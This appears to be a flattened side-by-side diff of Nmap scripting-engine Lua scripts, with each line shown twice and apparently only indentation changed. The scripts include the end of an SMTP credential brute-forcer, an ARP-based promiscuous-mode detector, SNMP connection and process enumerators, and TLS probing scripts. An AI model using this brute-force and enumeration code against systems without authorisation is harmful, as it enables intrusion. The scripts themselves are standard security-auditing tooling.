if ( not(mechs) ) then if ( not(mechs) ) then
return "\n ERROR: Failed to retrieve authentication mechanisms form server" return "\n ERROR: Failed to retrieve authentication mechanisms form server"
end end
smtp.quit(socket) smtp.quit(socket)
local mech_prio = stdnse.get_script_args("smtp-brute.auth") local mech_prio = stdnse.get_script_args("smtp-brute.auth")
mech_prio = ( mech_prio and { mech_prio } ) or mech_prio = ( mech_prio and { mech_prio } ) or
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" } { "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
for _, mp in ipairs(mech_prio) do for _, mp in ipairs(mech_prio) do
for _, m in pairs(mechs) do for _, m in pairs(mechs) do
if ( mp == m ) then if ( mp == m ) then
mech = m mech = m
break break
end end
end end
if ( mech ) then break end if ( mech ) then break end
end end
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
local result local result
status, result = engine:start() status, result = engine:start()
for _, sock in pairs(ConnectionPool) do sock:close() end for _, sock in pairs(ConnectionPool) do sock:close() end
return result return result
end end

View File

@@ -22,121 +22,121 @@ categories = {"discovery", "intrusive"}
-- okay, we're interested only in hosts that are on our ethernet lan -- okay, we're interested only in hosts that are on our ethernet lan
hostrule = function(host) hostrule = function(host)
if nmap.address_family() ~= 'inet' then if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME) stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false return false
end end
if host.directly_connected == true and if host.directly_connected == true and
host.mac_addr ~= nil and host.mac_addr ~= nil and
host.mac_addr_src ~= nil and host.mac_addr_src ~= nil and
host.interface ~= nil then host.interface ~= nil then
local iface = nmap.get_interface_info(host.interface) local iface = nmap.get_interface_info(host.interface)
if iface and iface.link == 'ethernet' then if iface and iface.link == 'ethernet' then
return true return true
end end
end end
return false return false
end end
local function check (layer2) local function check (layer2)
return string.sub(layer2, 0, 12) return string.sub(layer2, 0, 12)
end end
do_test = function(dnet, pcap, host, test) do_test = function(dnet, pcap, host, test)
local status, length, layer2, layer3 local status, length, layer2, layer3
local i = 0 local i = 0
-- ARP requests are send with timeouts: 10ms, 40ms, 90ms -- ARP requests are send with timeouts: 10ms, 40ms, 90ms
-- before each try, we wait at least 100ms -- before each try, we wait at least 100ms
-- in summary, this test takes at least 100ms and at most 440ms -- in summary, this test takes at least 100ms and at most 440ms
for i=1,3 do for i=1,3 do
-- flush buffers :), wait quite long. -- flush buffers :), wait quite long.
repeat repeat
pcap:set_timeout(100) pcap:set_timeout(100)
local test = host.mac_addr_src .. host.mac_addr local test = host.mac_addr_src .. host.mac_addr
status, length, layer2, layer3 = pcap:pcap_receive() status, length, layer2, layer3 = pcap:pcap_receive()
while status and test ~= check(layer2) do while status and test ~= check(layer2) do
status, length, layer2, layer3 = pcap:pcap_receive() status, length, layer2, layer3 = pcap:pcap_receive()
end end
until status ~= true until status ~= true
pcap:set_timeout(10 * i*i) pcap:set_timeout(10 * i*i)
dnet:ethernet_send(test) dnet:ethernet_send(test)
local test = host.mac_addr_src .. host.mac_addr local test = host.mac_addr_src .. host.mac_addr
status, length, layer2, layer3 = pcap:pcap_receive() status, length, layer2, layer3 = pcap:pcap_receive()
while status and test ~= check(layer2) do while status and test ~= check(layer2) do
status, length, layer2, layer3 = pcap:pcap_receive() status, length, layer2, layer3 = pcap:pcap_receive()
end end
if status == true then if status == true then
-- the basic idea, was to inform user about time, when we got packet -- the basic idea, was to inform user about time, when we got packet
-- so that 1 would mean (0-10ms), 2=(10-40ms) and 3=(40ms-90ms) -- so that 1 would mean (0-10ms), 2=(10-40ms) and 3=(40ms-90ms)
-- but when we're running this tests on macs, first test is always 2. -- but when we're running this tests on macs, first test is always 2.
-- which means that the first answer is dropped. -- which means that the first answer is dropped.
-- for now, just return 1 if test was successfull, it's easier -- for now, just return 1 if test was successfull, it's easier
-- return(i) -- return(i)
return(1) return(1)
end end
end end
return('_') return('_')
end end
action = function(host) action = function(host)
local dnet = nmap.new_dnet() local dnet = nmap.new_dnet()
local pcap = nmap.new_socket() local pcap = nmap.new_socket()
local _ local _
local status local status
local results = { local results = {
['1_____1_'] = false, -- MacOSX(Tiger.Panther)/Linux/ ?Win98/ WinXP sp2(no pcap) ['1_____1_'] = false, -- MacOSX(Tiger.Panther)/Linux/ ?Win98/ WinXP sp2(no pcap)
['1_______'] = false, -- Old Apple/SunOS/3Com ['1_______'] = false, -- Old Apple/SunOS/3Com
['1___1_1_'] = false, -- MacOSX(Tiger) ['1___1_1_'] = false, -- MacOSX(Tiger)
['11111111'] = true, -- BSD/Linux/OSX/ (or not promiscous openwrt ) ['11111111'] = true, -- BSD/Linux/OSX/ (or not promiscous openwrt )
['1_1___1_'] = false, -- WinXP sp2 + pcap|| win98 sniff || win2k sniff (see below) ['1_1___1_'] = false, -- WinXP sp2 + pcap|| win98 sniff || win2k sniff (see below)
['111___1_'] = true, -- WinXP sp2 promisc ['111___1_'] = true, -- WinXP sp2 promisc
-- ['1111__1_'] = true, -- ?Win98 promisc + ??win98 no promisc *not confirmed* --['1111__1_'] = true, -- ?Win98 promisc + ??win98 no promisc *not confirmed*
} }
dnet:ethernet_open(host.interface) dnet:ethernet_open(host.interface)
pcap:pcap_open(host.interface, 64, false, "arp") pcap:pcap_open(host.interface, 64, false, "arp")
local test_static = host.mac_addr_src .. local test_static = host.mac_addr_src ..
string.char(0x08,0x06, 0x00,0x01, 0x08,0x00, 0x06,0x04, 0x00,0x01) .. string.char(0x08,0x06, 0x00,0x01, 0x08,0x00, 0x06,0x04, 0x00,0x01) ..
host.mac_addr_src .. host.mac_addr_src ..
host.bin_ip_src .. host.bin_ip_src ..
string.char(0x00,0x00, 0x00,0x00, 0x00,0x00) .. string.char(0x00,0x00, 0x00,0x00, 0x00,0x00) ..
host.bin_ip host.bin_ip
local t = { local t = {
string.char(0xff,0xff, 0xff,0xff, 0xff,0xff), -- B32 no meaning? string.char(0xff,0xff, 0xff,0xff, 0xff,0xff), -- B32 no meaning?
string.char(0xff,0xff, 0xff,0xff, 0xff,0xfe), -- B31 string.char(0xff,0xff, 0xff,0xff, 0xff,0xfe), -- B31
string.char(0xff,0xff, 0x00,0x00, 0x00,0x00), -- B16 string.char(0xff,0xff, 0x00,0x00, 0x00,0x00), -- B16
string.char(0xff,0x00, 0x00,0x00, 0x00,0x00), -- B8 string.char(0xff,0x00, 0x00,0x00, 0x00,0x00), -- B8
string.char(0x01,0x00, 0x00,0x00, 0x00,0x00), -- G string.char(0x01,0x00, 0x00,0x00, 0x00,0x00), -- G
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x00), -- M0 string.char(0x01,0x00, 0x5e,0x00, 0x00,0x00), -- M0
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x01), -- M1 no meaning? string.char(0x01,0x00, 0x5e,0x00, 0x00,0x01), -- M1 no meaning?
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x03), -- M3 string.char(0x01,0x00, 0x5e,0x00, 0x00,0x03), -- M3
} }
local v local v
local out = "" local out = ""
for _, v in ipairs(t) do for _, v in ipairs(t) do
out = out .. do_test(dnet, pcap, host, v .. test_static) out = out .. do_test(dnet, pcap, host, v .. test_static)
end end
dnet:ethernet_close() dnet:ethernet_close()
pcap:pcap_close() pcap:pcap_close()
if out == '1_1___1_' then if out == '1_1___1_' then
return 'Windows with libpcap installed; may or may not be sniffing (tests: "' .. out .. '")' return 'Windows with libpcap installed; may or may not be sniffing (tests: "' .. out .. '")'
end end
if results[out] == false then if results[out] == false then
-- probably not sniffing -- probably not sniffing
return return
end end
if results[out] == true then if results[out] == true then
-- rather sniffer. -- rather sniffer.
return 'Likely in promiscuous mode (tests: "' .. out .. '")' return 'Likely in promiscuous mode (tests: "' .. out .. '")'
end end
-- results[out] == nil -- results[out] == nil
return 'Unknown (tests: "' .. out .. '")' return 'Unknown (tests: "' .. out .. '")'
end end

View File

@@ -46,96 +46,96 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
-- @param base_oid string containing the value of the base_oid of the walk -- @param base_oid string containing the value of the base_oid of the walk
-- @return table -- @return table
local function process_answer( tbl, base_oid ) local function process_answer( tbl, base_oid )
local result = {} local result = {}
for _, v in ipairs( tbl ) do for _, v in ipairs( tbl ) do
local lip = v.oid:match( "^" .. base_oid .. "%.(%d+%.%d+%.%d+%.%d+)") or "" local lip = v.oid:match( "^" .. base_oid .. "%.(%d+%.%d+%.%d+%.%d+)") or ""
local lport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.(%d+)") local lport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.(%d+)")
local fip = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+%.%d+%.%d+%.%d+)") or "*:*" local fip = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+%.%d+%.%d+%.%d+)") or "*:*"
local fport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+)") local fport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+)")
local left = (lport and (lip .. ":" .. lport) or lip) local left = (lport and (lip .. ":" .. lport) or lip)
local right= (fport and (fip .. ":" .. fport) or fip) local right= (fport and (fip .. ":" .. fport) or fip)
if ( right or left ) then if ( right or left ) then
table.insert(result, { left = left, right = right }) table.insert(result, { left = left, right = right })
end end
end end
return result return result
end end
local function format_output(tbl, prefix) local function format_output(tbl, prefix)
local result = {} local result = {}
for _, v in ipairs(tbl) do for _, v in ipairs(tbl) do
local value = string.format("%-20s %s", v.left, v.right ) local value = string.format("%-20s %s", v.left, v.right )
table.insert( result, string.format( "%-4s %s", prefix, value ) ) table.insert( result, string.format( "%-4s %s", prefix, value ) )
end end
return result return result
end end
local function table_merge( t1, t2 ) local function table_merge( t1, t2 )
for _, v in ipairs(t2) do for _, v in ipairs(t2) do
table.insert(t1, v) table.insert(t1, v)
end end
return t1 return t1
end end
local function add_targets(tbl) local function add_targets(tbl)
if ( not(target.ALLOW_NEW_TARGETS) ) then if ( not(target.ALLOW_NEW_TARGETS) ) then
return return
end end
-- get a list of local IPs -- get a list of local IPs
local local_ips = {} local local_ips = {}
for _, v in ipairs(tbl) do for _, v in ipairs(tbl) do
local ip = ((v.left and v.left:match("^(.-):")) and v.left:match("^(.-):") or v.left) local ip = ((v.left and v.left:match("^(.-):")) and v.left:match("^(.-):") or v.left)
local_ips[ip] = true local_ips[ip] = true
end end
-- identify remote IPs -- identify remote IPs
local remote_ips = {} local remote_ips = {}
for _, v in ipairs(tbl) do for _, v in ipairs(tbl) do
local ip = ((v.right and v.right:match("^(.-):")) and v.right:match("^(.-):") or v.right) local ip = ((v.right and v.right:match("^(.-):")) and v.right:match("^(.-):") or v.right)
if ( not(remote_ips[ip]) and not(local_ips[ip]) and ip ~= "*" ) then if ( not(remote_ips[ip]) and not(local_ips[ip]) and ip ~= "*" ) then
target.add(ip) target.add(ip)
end end
end end
end end
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local catch = function() socket:close() end local catch = function() socket:close() end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
local tcp_oid = "1.3.6.1.2.1.6.13.1.1" local tcp_oid = "1.3.6.1.2.1.6.13.1.1"
local udp_oid = "1.3.6.1.2.1.7.5.1.1" local udp_oid = "1.3.6.1.2.1.7.5.1.1"
local netstat = {} local netstat = {}
local status, tcp, udp local status, tcp, udp
socket:set_timeout(5000) socket:set_timeout(5000)
try(socket:connect(host, port)) try(socket:connect(host, port))
status, tcp = snmp.snmpWalk( socket, tcp_oid ) status, tcp = snmp.snmpWalk( socket, tcp_oid )
if ( not(status) ) then return end if ( not(status) ) then return end
status, udp = snmp.snmpWalk( socket, udp_oid ) status, udp = snmp.snmpWalk( socket, udp_oid )
if ( not(status) ) then return end if ( not(status) ) then return end
socket:close() socket:close()
if ( tcp == nil ) or ( #tcp == 0 ) or ( udp==nil ) or ( #udp == 0 ) then if ( tcp == nil ) or ( #tcp == 0 ) or ( udp==nil ) or ( #udp == 0 ) then
return return
end end
tcp = process_answer(tcp, tcp_oid) tcp = process_answer(tcp, tcp_oid)
add_targets(tcp) add_targets(tcp)
tcp = format_output(tcp, "TCP") tcp = format_output(tcp, "TCP")
udp = process_answer(udp, udp_oid) udp = process_answer(udp, udp_oid)
add_targets(udp) add_targets(udp)
udp = format_output(udp, "UDP") udp = format_output(udp, "UDP")
netstat = table_merge( tcp, udp ) netstat = table_merge( tcp, udp )
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
socket:close() socket:close()
return stdnse.format_output( true, netstat ) return stdnse.format_output( true, netstat )
end end

View File

@@ -52,13 +52,13 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
-- @return value of relevant type or nil if oid was not found -- @return value of relevant type or nil if oid was not found
function get_value_from_table( tbl, oid ) function get_value_from_table( tbl, oid )
for _, v in ipairs( tbl ) do for _, v in ipairs( tbl ) do
if v.oid == oid then if v.oid == oid then
return v.value return v.value
end end
end end
return nil return nil
end end
--- Processes the table and creates the script output --- Processes the table and creates the script output
@@ -67,72 +67,72 @@ end
-- @return table suitable for <code>stdnse.format_output</code> -- @return table suitable for <code>stdnse.format_output</code>
function process_answer( tbl ) function process_answer( tbl )
local swrun_name = "1.3.6.1.2.1.25.4.2.1.2" local swrun_name = "1.3.6.1.2.1.25.4.2.1.2"
local swrun_pid = "1.3.6.1.2.1.25.4.2.1.1" local swrun_pid = "1.3.6.1.2.1.25.4.2.1.1"
local swrun_path = "1.3.6.1.2.1.25.4.2.1.4" local swrun_path = "1.3.6.1.2.1.25.4.2.1.4"
local swrun_params = "1.3.6.1.2.1.25.4.2.1.5" local swrun_params = "1.3.6.1.2.1.25.4.2.1.5"
local new_tbl = {} local new_tbl = {}
for _, v in ipairs( tbl ) do for _, v in ipairs( tbl ) do
if ( v.oid:match("^" .. swrun_name) ) then if ( v.oid:match("^" .. swrun_name) ) then
local item = {} local item = {}
local objid = v.oid:gsub( "^" .. swrun_name, swrun_path) local objid = v.oid:gsub( "^" .. swrun_name, swrun_path)
local value = get_value_from_table( tbl, objid ) local value = get_value_from_table( tbl, objid )
if value and value:len() > 0 then if value and value:len() > 0 then
table.insert( item, ("Path: %s"):format( value ) ) table.insert( item, ("Path: %s"):format( value ) )
end end
objid = v.oid:gsub( "^" .. swrun_name, swrun_params) objid = v.oid:gsub( "^" .. swrun_name, swrun_params)
value = get_value_from_table( tbl, objid ) value = get_value_from_table( tbl, objid )
if value and value:len() > 0 then if value and value:len() > 0 then
table.insert( item, ("Params: %s"):format( value ) ) table.insert( item, ("Params: %s"):format( value ) )
end end
objid = v.oid:gsub( "^" .. swrun_name, swrun_pid) objid = v.oid:gsub( "^" .. swrun_name, swrun_pid)
value = get_value_from_table( tbl, objid ) value = get_value_from_table( tbl, objid )
if value then if value then
table.insert( item, ("PID: %s"):format( value ) ) table.insert( item, ("PID: %s"):format( value ) )
end end
item.name = v.value item.name = v.value
table.insert( item, value ) table.insert( item, value )
table.insert( new_tbl, item ) table.insert( new_tbl, item )
end end
end end
return new_tbl return new_tbl
end end
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local catch = function() socket:close() end local catch = function() socket:close() end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
local data, snmpoid = nil, "1.3.6.1.2.1.25.4.2" local data, snmpoid = nil, "1.3.6.1.2.1.25.4.2"
local shares = {} local shares = {}
local status local status
socket:set_timeout(5000) socket:set_timeout(5000)
try(socket:connect(host, port)) try(socket:connect(host, port))
status, shares = snmp.snmpWalk( socket, snmpoid ) status, shares = snmp.snmpWalk( socket, snmpoid )
socket:close() socket:close()
if (not(status)) or ( shares == nil ) or ( #shares == 0 ) then if (not(status)) or ( shares == nil ) or ( #shares == 0 ) then
return return
end end
shares = process_answer( shares ) shares = process_answer( shares )
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
return stdnse.format_output( true, shares ) return stdnse.format_output( true, shares )
end end

View File

@@ -24,7 +24,7 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "safe", "default"} categories = {"discovery", "safe", "default"}
portrule = function(host, port) portrule = function(host, port)
return shortport.ssl(host, port) or sslcert.isPortSupported(port) return shortport.ssl(host, port) or sslcert.isPortSupported(port)
end end
@@ -52,94 +52,94 @@ end
--@return status true if response, false else. --@return status true if response, false else.
--@return response if status is true. --@return response if status is true.
local client_hello = function(host, port) local client_hello = function(host, port)
local sock, status, response, err, cli_h local sock, status, response, err, cli_h
-- Craft Client Hello -- Craft Client Hello
cli_h = tls.client_hello({ cli_h = tls.client_hello({
["protocol"] = "TLSv1.0", ["protocol"] = "TLSv1.0",
["ciphers"] = { ["ciphers"] = {
"TLS_ECDHE_RSA_WITH_RC4_128_SHA", "TLS_ECDHE_RSA_WITH_RC4_128_SHA",
"TLS_DHE_RSA_WITH_AES_256_CBC_SHA", "TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
"TLS_RSA_WITH_RC4_128_MD5", "TLS_RSA_WITH_RC4_128_MD5",
}, },
["compressors"] = {"NULL"}, ["compressors"] = {"NULL"},
}) })
-- Connect to the target server -- Connect to the target server
local specialized_function = sslcert.getPrepareTLSWithoutReconnect(port) local specialized_function = sslcert.getPrepareTLSWithoutReconnect(port)
if not specialized_function then if not specialized_function then
sock = nmap.new_socket() sock = nmap.new_socket()
sock:set_timeout(5000) sock:set_timeout(5000)
status, err = sock:connect(host, port) status, err = sock:connect(host, port)
if not status then
sock:close()
stdnse.print_debug("Can't send: %s", err)
return false
end
else
status,sock = specialized_function(host,port)
if not status then
return false
end
end
-- Send Client Hello to the target server
status, err = sock:send(cli_h)
if not status then if not status then
stdnse.print_debug("Couldn't send: %s", err) sock:close()
sock:close() stdnse.print_debug("Can't send: %s", err)
return false return false
end end
else
-- Read response status,sock = specialized_function(host,port)
status, response, err = tls.record_buffer(sock)
if not status then if not status then
stdnse.print_debug("Couldn't receive: %s", err) return false
sock:close()
return false
end end
end
return true, response
-- Send Client Hello to the target server
status, err = sock:send(cli_h)
if not status then
stdnse.print_debug("Couldn't send: %s", err)
sock:close()
return false
end
-- Read response
status, response, err = tls.record_buffer(sock)
if not status then
stdnse.print_debug("Couldn't receive: %s", err)
sock:close()
return false
end
return true, response
end end
-- extract time from ServerHello response -- extract time from ServerHello response
local extract_time = function(response) local extract_time = function(response)
local i, record = tls.record_read(response, 0) local i, record = tls.record_read(response, 0)
if record == nil then if record == nil then
stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME) stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
return nil return nil
end end
if record.type == "handshake" then if record.type == "handshake" then
for _, body in ipairs(record.body) do for _, body in ipairs(record.body) do
if body.type == "server_hello" then if body.type == "server_hello" then
return true, body.time return true, body.time
end
end end
end end
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME) end
return nil stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
return nil
end end
action = function(host, port) action = function(host, port)
local status, response local status, response
-- Send crafted client hello -- Send crafted client hello
status, response = client_hello(host, port) status, response = client_hello(host, port)
local now = os.time() local now = os.time()
if status and response then if status and response then
-- extract time from response -- extract time from response
local result local result
status, result = extract_time(response) status, result = extract_time(response)
if status then if status then
local output = { local output = {
date = stdnse.format_timestamp(result, 0), date = stdnse.format_timestamp(result, 0),
delta = os.difftime(result, now), delta = os.difftime(result, now),
} }
return output, string.format("%s; %s from local time.", output.date, return output, string.format("%s; %s from local time.", output.date,
stdnse.format_difftime(os.date("!*t",result),os.date("!*t", now))) stdnse.format_difftime(os.date("!*t",result),os.date("!*t", now)))
end end
end end
end end

View File

@@ -47,90 +47,90 @@ categories = {"safe", "discovery", "vuln", "default"}
local FINGERPRINT_FILE = "ssl-fingerprints" local FINGERPRINT_FILE = "ssl-fingerprints"
local get_fingerprints = function(path) local get_fingerprints = function(path)
-- Check registry for cached fingerprints. -- Check registry for cached fingerprints.
if nmap.registry.ssl_fingerprints then if nmap.registry.ssl_fingerprints then
stdnse.print_debug(2, "Using cached SSL fingerprints.") stdnse.print_debug(2, "Using cached SSL fingerprints.")
return true, nmap.registry.ssl_fingerprints return true, nmap.registry.ssl_fingerprints
end end
-- Attempt to resolve path if it is relative. -- Attempt to resolve path if it is relative.
local full_path = nmap.fetchfile("nselib/data/" .. path) local full_path = nmap.fetchfile("nselib/data/" .. path)
if not full_path then if not full_path then
full_path = path full_path = path
end end
stdnse.print_debug(2, "Loading SSL fingerprints from %s.", full_path) stdnse.print_debug(2, "Loading SSL fingerprints from %s.", full_path)
-- Open database. -- Open database.
local file = io.open(full_path, "r") local file = io.open(full_path, "r")
if not file then if not file then
return false, "Failed to open file " .. full_path return false, "Failed to open file " .. full_path
end end
-- Parse database. -- Parse database.
local section = nil local section = nil
local fingerprints = {} local fingerprints = {}
for line in file:lines() do for line in file:lines() do
line = line:gsub("#.*", "") line = line:gsub("#.*", "")
line = line:gsub("^%s*", "") line = line:gsub("^%s*", "")
line = line:gsub("%s*$", "") line = line:gsub("%s*$", "")
if line ~= "" then if line ~= "" then
if line:sub(1,1) == "[" then if line:sub(1,1) == "[" then
-- Start a new section. -- Start a new section.
line = line:sub(2, #line - 1) line = line:sub(2, #line - 1)
stdnse.print_debug(4, "Starting new section %s.", line) stdnse.print_debug(4, "Starting new section %s.", line)
section = line section = line
elseif section ~= nil then elseif section ~= nil then
-- Add fingerprint to section. -- Add fingerprint to section.
local fingerprint = bin.pack("H", line) local fingerprint = bin.pack("H", line)
if #fingerprint == 20 then if #fingerprint == 20 then
fingerprints[fingerprint] = section fingerprints[fingerprint] = section
stdnse.print_debug(4, "Added key %s to database.", line) stdnse.print_debug(4, "Added key %s to database.", line)
else else
stdnse.print_debug(0, "Cannot parse presumed fingerprint %q in section %q.", line, section) stdnse.print_debug(0, "Cannot parse presumed fingerprint %q in section %q.", line, section)
end end
else else
-- Key found outside of section. -- Key found outside of section.
stdnse.print_debug(1, "Key %s is not in a section.", line) stdnse.print_debug(1, "Key %s is not in a section.", line)
end end
end end
end end
-- Close database. -- Close database.
file:close() file:close()
-- Cache fingerprints in registry for future runs. -- Cache fingerprints in registry for future runs.
nmap.registry.ssl_fingerprints = fingerprints nmap.registry.ssl_fingerprints = fingerprints
return true, fingerprints return true, fingerprints
end end
portrule = shortport.ssl portrule = shortport.ssl
action = function(host, port) action = function(host, port)
-- Get script arguments. -- Get script arguments.
local path = stdnse.get_script_args("ssl-known-key.fingerprintfile") or FINGERPRINT_FILE local path = stdnse.get_script_args("ssl-known-key.fingerprintfile") or FINGERPRINT_FILE
local status, result = get_fingerprints(path) local status, result = get_fingerprints(path)
if not status then if not status then
stdnse.print_debug(1, result) stdnse.print_debug(1, result)
return return
end end
local fingerprints = result local fingerprints = result
-- Get SSL certificate. -- Get SSL certificate.
local status, cert = sslcert.getCertificate(host, port) local status, cert = sslcert.getCertificate(host, port)
if not status then if not status then
stdnse.print_debug(1, "sslcert.getCertificate error: %s", cert) stdnse.print_debug(1, "sslcert.getCertificate error: %s", cert)
return return
end end
local fingerprint = cert:digest("sha1") local fingerprint = cert:digest("sha1")
local fingerprint_fmt = stdnse.tohex(fingerprint, {separator=" ", group=4}) local fingerprint_fmt = stdnse.tohex(fingerprint, {separator=" ", group=4})
-- Check SSL fingerprint against database. -- Check SSL fingerprint against database.
local section = fingerprints[fingerprint] local section = fingerprints[fingerprint]
if not section then if not section then
stdnse.print_debug(2, "%s was not in the database.", fingerprint_fmt) stdnse.print_debug(2, "%s was not in the database.", fingerprint_fmt)
return return
end end
return {section=section, sha1=stdnse.tohex(fingerprint)}, "Found in " .. section .. " (SHA-1: " .. fingerprint_fmt .. ")" return {section=section, sha1=stdnse.tohex(fingerprint)}, "Found in " .. section .. " (SHA-1: " .. fingerprint_fmt .. ")"
end end

View File

@@ -70,7 +70,7 @@ end
prerule = function() prerule = function()
return nmap.is_privileged() and return nmap.is_privileged() and
(stdnse.get_script_args("targets-sniffer.iface") or nmap.get_interface()) (stdnse.get_script_args("targets-sniffer.iface") or nmap.get_interface())
end end

View File

@@ -51,94 +51,94 @@ portrule = shortport.ssl
--@return status true if response, false else. --@return status true if response, false else.
--@return response if status is true. --@return response if status is true.
local client_hello = function(host, port) local client_hello = function(host, port)
local sock, status, response, err, cli_h local sock, status, response, err, cli_h
cli_h = tls.client_hello({ cli_h = tls.client_hello({
["protocol"] = "TLSv1.0", ["protocol"] = "TLSv1.0",
["ciphers"] = { ["ciphers"] = {
"TLS_ECDHE_RSA_WITH_RC4_128_SHA", "TLS_ECDHE_RSA_WITH_RC4_128_SHA",
"TLS_DHE_RSA_WITH_AES_256_CBC_SHA", "TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
"TLS_RSA_WITH_RC4_128_MD5", "TLS_RSA_WITH_RC4_128_MD5",
}, },
["compressors"] = {"NULL"}, ["compressors"] = {"NULL"},
["extensions"] = { ["extensions"] = {
["next_protocol_negotiation"] = "", ["next_protocol_negotiation"] = "",
}, },
}) })
-- Connect to the target server -- Connect to the target server
sock = nmap.new_socket() sock = nmap.new_socket()
sock:set_timeout(5000) sock:set_timeout(5000)
status, err = sock:connect(host, port) status, err = sock:connect(host, port)
if not status then if not status then
sock:close() sock:close()
stdnse.print_debug("Can't send: %s", err) stdnse.print_debug("Can't send: %s", err)
return false return false
end end
-- Send Client Hello to the target server -- Send Client Hello to the target server
status, err = sock:send(cli_h) status, err = sock:send(cli_h)
if not status then if not status then
stdnse.print_debug("Couldn't send: %s", err) stdnse.print_debug("Couldn't send: %s", err)
sock:close() sock:close()
return false return false
end end
-- Read response -- Read response
status, response, err = tls.record_buffer(sock) status, response, err = tls.record_buffer(sock)
if not status then if not status then
stdnse.print_debug("Couldn't receive: %s", err) stdnse.print_debug("Couldn't receive: %s", err)
sock:close() sock:close()
return false return false
end end
return true, response return true, response
end end
--- Function that checks for the returned protocols to a npn extension request. --- Function that checks for the returned protocols to a npn extension request.
--@args response Response to parse. --@args response Response to parse.
--@return results List of found protocols. --@return results List of found protocols.
local check_npn = function(response) local check_npn = function(response)
local i, record = tls.record_read(response, 0) local i, record = tls.record_read(response, 0)
if record == nil then if record == nil then
stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME) stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
return nil
end
if record.type == "handshake" and record.body[1].type == "server_hello" then
if record.body[1].extensions == nil then
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
return nil return nil
end end
local results = {}
if record.type == "handshake" and record.body[1].type == "server_hello" then local npndata = record.body[1].extensions["next_protocol_negotiation"]
if record.body[1].extensions == nil then if npndata == nil then
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME) stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
return nil
end
local results = {}
local npndata = record.body[1].extensions["next_protocol_negotiation"]
if npndata == nil then
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
return nil
end
-- Parse data
i = 0
local protocol
while i < #npndata do
i, protocol = bin.unpack(">p", npndata, i)
table.insert(results, protocol)
end
return results
else
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
return nil return nil
end end
-- Parse data
i = 0
local protocol
while i < #npndata do
i, protocol = bin.unpack(">p", npndata, i)
table.insert(results, protocol)
end
return results
else
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
return nil
end
end end
action = function(host, port) action = function(host, port)
local status, response local status, response
-- Send crafted client hello -- Send crafted client hello
status, response = client_hello(host, port) status, response = client_hello(host, port)
if status and response then if status and response then
-- Analyze response -- Analyze response
local results = check_npn(response) local results = check_npn(response)
return results return results
end end
end end

View File

@@ -39,51 +39,51 @@ categories = {"safe"}
local arg_iface = nmap.get_interface() or stdnse.get_script_args(SCRIPT_NAME .. ".interface") local arg_iface = nmap.get_interface() or stdnse.get_script_args(SCRIPT_NAME .. ".interface")
prerule = function() prerule = function()
local has_interface = ( arg_iface ~= nil ) local has_interface = ( arg_iface ~= nil )
if not nmap.is_privileged() then if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false return false
end end
if ( not(has_interface) ) then if ( not(has_interface) ) then
stdnse.print_verbose("%s no network interface was supplied, aborting ...", SCRIPT_NAME) stdnse.print_verbose("%s no network interface was supplied, aborting ...", SCRIPT_NAME)
return false return false
end end
return true return true
end end
-- we should probably leverage code from the http library, but those functions -- we should probably leverage code from the http library, but those functions
-- are all declared local. -- are all declared local.
local function get_url(data) local function get_url(data)
local headers, body = table.unpack(stdnse.strsplit("\r\n\r\n", data)) local headers, body = table.unpack(stdnse.strsplit("\r\n\r\n", data))
if ( not(headers) ) then if ( not(headers) ) then
return return
end end
headers = stdnse.strsplit("\r\n", headers) headers = stdnse.strsplit("\r\n", headers)
if ( not(headers) or 1 > #headers ) then if ( not(headers) or 1 > #headers ) then
return return
end end
local parsed = {} local parsed = {}
parsed.path = headers[1]:match("^[^s%s]+ ([^%s]*) HTTP/1%.%d$") parsed.path = headers[1]:match("^[^s%s]+ ([^%s]*) HTTP/1%.%d$")
